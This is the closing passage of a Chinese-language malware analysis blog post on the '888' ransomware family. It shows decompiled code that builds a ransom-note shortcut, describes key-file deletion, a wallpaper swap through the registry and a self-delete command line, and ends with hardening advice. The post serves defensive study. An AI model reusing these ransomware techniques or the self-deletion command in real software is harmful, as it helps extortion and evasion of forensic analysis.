__int64 __fastcall sub_7FF643B1A7D0(__int64 a1, __int64 a2, unsigned int n0xEB)
{
__int64 EnvironmentVariable_1; // rax
__int64 v7; // rbx
__int64 EnvironmentVariable; // rax
__int64 EnvironmentVariable_2; // r14
__int64 result; // rax
__int64 v11; // r15
__int64 v12; // r13
__int64 v13; // rax
__int64 v14; // rsi
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
__int64 v18; // rax
__int64 v19; // rax
__int64 v20; // rax
__int64 v21; // rbx
__int64 UTF8BomThrowing; // rdi

EnvironmentVariable_1 = sub_7FF643A87F00();
v7 = sub_7FF643ACEA80(EnvironmentVariable_1, a1);
EnvironmentVariable = S_P_CoreLib_System_Environment__GetEnvironmentVariable(&off_7FF643B9C708);
EnvironmentVariable_2 = String__Concat_5(EnvironmentVariable, &off_7FF643BAC628);
result = S_P_CoreLib_System_Environment__GetEnvironmentVariable(&off_7FF643BAF580);
if ( result )
{
if ( *(_DWORD *)(result + 8) )
{
v11 = sub_7FF643ACEAC0(result, &off_7FF643BAA6C8, &off_7FF643BAEE08);
v12 = RhpNewFast(&unk_7FF643BC0858);
v13 = String__Concat_5(a2, &off_7FF643B94780);// !RESTORE_FILES!.url
v14 = sub_7FF643ACEA80(EnvironmentVariable_2, v13);
*(_DWORD *)(v12 + 32) = 0x7FFFFFFF;
v15 = RhpNewArray(&unk_7FF643BFE858, 16i64);
RhpAssignRefAVLocation(v12 + 8, v15);
S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, &off_7FF643BAC580);
v16 = String__Replace_1(v7, 92i64, 47i64);// C:/Windows/System32/!RESTORE_FILES!.txt
v17 = String__Concat_5(&off_7FF643BAB7A8, v16);// URL=file:///C:/Windows/System32/!RESTORE_FILES!.txt
S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, v17);
v18 = String__Concat_5(&off_7FF643BA4450, v11);
S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, v18);// IconFile=C:\Windows\System32\shell32.dll
v19 = S_P_CoreLib_System_Number__Int32ToDecStr(n0xEB);// 235
v20 = String__Concat_5(&off_7FF643BA4478, v19);
S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, v20);// IconIndex=235
v21 = S_P_CoreLib_System_Text_StringBuilder__ToString(v12);
UTF8BomThrowing = S_P_Xml_System_Xml_XmlTextReaderImpl__get_UTF8BomThrowing();
sub_7FF643ACBE50(v14, UTF8BomThrowing);
return sub_7FF643ACBEA0(v14, 2i64, v21, UTF8BomThrowing);
}
}
return result;
}

如下

12.png

删除密钥文件

删除如下文件

C:\Windows\Temp\!wwwGdddf#.txt //密钥文件
C:\windows\temp\!wwkdsfdsfewt.txt //通过计算机信息计算出来的hash

13.png

替换壁纸

通过修改注册表键值来替换壁纸

14.png
解析base64编码的图片

15.png

将其写入C:\Users\Public\img___XXX.jpg,图片如下

16.png

修改后的注册表如下

17.png

自删除

执行如下指令进行自删除

/C @echo off && ping -n 1 127.0.0.1 > nul && del /q /f “加密器路径”

5.病毒分析概览

根据对样本的深入逆向工程分析,得出该勒索病毒分析结果概览:

该恶意软件是一个勒索软件,主要行为总结如下:

  • 加密方式:
  1. - 使用AES-256算法,密钥基于随机GUIDMAC地址和计算机名动态生成。
  2. - 排除系统目录(如`System32`),跳过白名单文件(如勒索信`!RESTORE_FILES!.txt`)。
  • 生成勒索信:
  1. - 桌面生成勒索信快捷方式(`.url`),图标伪装为系统文件。
  2. - 修改注册表键值(`HKCU\Control Panel\Desktop\Wallpaper`)替换壁纸。
  • 反分析策略:
  1. - 动态拼接关键字符串,规避静态检测。
  2. - 删除临时密钥文件(如`C:\Windows\Temp\!wwkdsfdsfewt.txt`)。

总结:

高度组织化的勒索攻击,技术复杂且对抗性强,需结合动态行为监控与纵深防御体系阻断传播链。

6.安全建议

针对888家族的攻击行为,Solar团队已发布专项防护与加固建议,包括数据库弱口令治理、MSSQL安全基线检查、服务器目录权限收紧、异常文件投放监测等措施,详情可参考【漏洞与预防】MSSQL数据库弱口令漏洞预防

  • 发表于 2025-06-16 09:00:02
  • 阅读 ( 1124 )
  • 分类:漏洞分析

0 条评论

站长统计